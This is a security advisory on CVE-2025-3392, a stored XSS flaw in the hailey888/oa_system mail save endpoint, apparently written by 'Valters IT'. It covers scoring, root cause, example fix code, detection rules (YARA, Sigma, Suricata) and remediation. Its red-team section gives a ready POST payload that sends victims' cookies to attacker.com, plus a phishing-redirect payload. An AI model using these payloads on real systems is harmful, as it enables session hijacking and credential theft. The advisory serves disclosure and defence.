CVE-2025-3392

Executive Summary

CVE-2025-3392 is a stored cross-site scripting (XSS) vulnerability in the hailey888/oa_system backend application, specifically in the MailController.java file. The Save function fails to sanitize the MailNumberId parameter, allowing an attacker to inject arbitrary JavaScript or HTML. This attack can be executed remotely without authentication, and a proof-of-concept (PoC) has been publicly disclosed. The product uses a continuous delivery model with rolling releases, so no specific version numbers for affected or patched releases are available. The vulnerability is classified as problematic (low to medium severity) but poses a real risk of session hijacking, data theft, or phishing within the OA system.

Supply Chain & Package Security

This is a Java-based application (not NPM, PyPI, Go, or Ruby). No supply chain package security issues are directly identified, but the lack of a patch and the use of rolling releases means that any downstream consumers or integrators of this OA system are exposed until the vendor releases a fix.

CVSS Breakdown & Threat Level

The NVD has assigned a placeholder CVSS score of 0.0, indicating that the score has not yet been calculated. Based on the description and public exploit, a reasonable estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – remote exploitation
• Attack Complexity (AC): Low (L) – no special conditions
• Privileges Required (PR): None (N) – no authentication needed
• User Interaction (UI): Required (R) – victim must click or view the malicious content
• Scope (S): Changed (C) – XSS can affect other components
• Confidentiality (C): Low (L) – limited data exposure
• Integrity (I): Low (L) – injected script can modify content
• Availability (A): None (N) – no direct DoS

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium – Public PoC exists, but exploitation requires user interaction (e.g., clicking a crafted link or viewing a malicious email).

Deep Dive & Mechanics

The vulnerability resides in the Save function of cn/gson/oasys/controller/mail/MailController.java. This function handles the creation or updating of mail records. The MailNumberId parameter is taken from user input and directly stored or reflected in the response without proper encoding or sanitization.

Attack Flow:

1. An attacker sends a POST request to the mail save endpoint with a malicious payload in the MailNumberId field, e.g., <script>alert('XSS')</script>.
2. The backend stores this payload in the database.
3. When an administrator or other user views the mail record (e.g., in a list or detail view), the payload is rendered in the browser.
4. The injected script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of input validation and output encoding for the MailNumberId parameter. The application likely uses a framework (e.g., Spring MVC) but fails to apply proper escaping or use a template engine that auto-escapes.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (hypothetical):

// MailController.java
@PostMapping("/mail/save")
public String saveMail(@RequestParam("MailNumberId") String mailNumberId, Model model) {
    // Directly stores the input without sanitization
    mailService.save(mailNumberId);
    return "success";
}

Patched Code (expected):

// MailController.java
import org.springframework.web.util.HtmlUtils;

@PostMapping("/mail/save")
public String saveMail(@RequestParam("MailNumberId") String mailNumberId, Model model) {
    // Sanitize input to remove HTML/script tags
    String sanitized = HtmlUtils.htmlEscape(mailNumberId);
    mailService.save(sanitized);
    return "success";
}

Alternatively, the application should use a context-aware output encoding library (e.g., OWASP Java Encoder) and validate that MailNumberId matches an expected pattern (e.g., alphanumeric only).

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of hailey888/oa_system (version up to 2025.01.01)
• Access to the mail save endpoint (e.g., http://target/oa/mail/save)

Exploit Payload (Stored XSS):

POST /oa/mail/save HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

MailNumberId=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&otherParam=value

Step-by-Step:

1. Identify the mail save endpoint (e.g., via directory brute-forcing or reading the source code).
2. Send the POST request with the malicious MailNumberId.
3. Wait for an admin or user to view the mail record.
4. The injected script executes, exfiltrating session cookies to the attacker's server.

Alternative Payload (Phishing):

MailNumberId=<img src=x onerror="document.location='https://phishing.com/fake-login?redirect='+window.location.href">

Blue Team (Defense & Detection)

Detection:

• Monitor for POST requests to /mail/save with suspicious parameters containing <script>, <img>, or onerror.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation: allow only alphanumeric characters for MailNumberId.
• Use output encoding (e.g., HTML entity encoding) when rendering the field.
• Upgrade to the latest rolling release if a fix is available.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /mail/save with MailNumberId containing HTML/JavaScript.
• Outbound connections to attacker-controlled domains (e.g., attacker.com) from the OA server.

File IOCs:

• Log entries showing MailNumberId with script tags.
• Modified database records in the mail table containing XSS payloads.

Behavioral IOCs:

• Unexpected JavaScript execution in the browser when viewing mail records.
• Session cookies being sent to external domains.

Detection Engineering

YARA Rule

rule CVE_2025_3392_XSS_MailNumberId {
    meta:
        description = "Detects stored XSS payload in MailNumberId parameter for CVE-2025-3392"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3392"
    strings:
        $xss1 = /MailNumberId=.*<script>/ nocase
        $xss2 = /MailNumberId=.*onerror=/ nocase
        $xss3 = /MailNumberId=.*onload=/ nocase
        $xss4 = /MailNumberId=.*javascript:/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3392 Stored XSS in MailNumberId
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to /mail/save with XSS payloads in MailNumberId
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/mail/save'
        cs-uri-query|contains|all:
            - 'MailNumberId='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in mail content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3392 Stored XSS in MailNumberId"; flow:to_server; content:"POST"; http_method; content:"/mail/save"; http_uri; content:"MailNumberId="; http_client_body; pcre:"/MailNumberId=.*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Restrict MailNumberId to alphanumeric characters only (e.g., ^[a-zA-Z0-9]+$).
2. Output Encoding: Use HTML entity encoding when displaying MailNumberId in any web page.
3. WAF Rules: Deploy a WAF rule to block requests containing <script>, onerror, or javascript: in the MailNumberId parameter.
4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term Fix:

• The vendor (hailey888) should release a patched rolling release that sanitizes the MailNumberId parameter.
• Until then, consider forking the repository and applying the fix manually.

Workaround:

• Disable the mail save functionality if not critical.
• Use a reverse proxy to filter malicious payloads.

Valters IT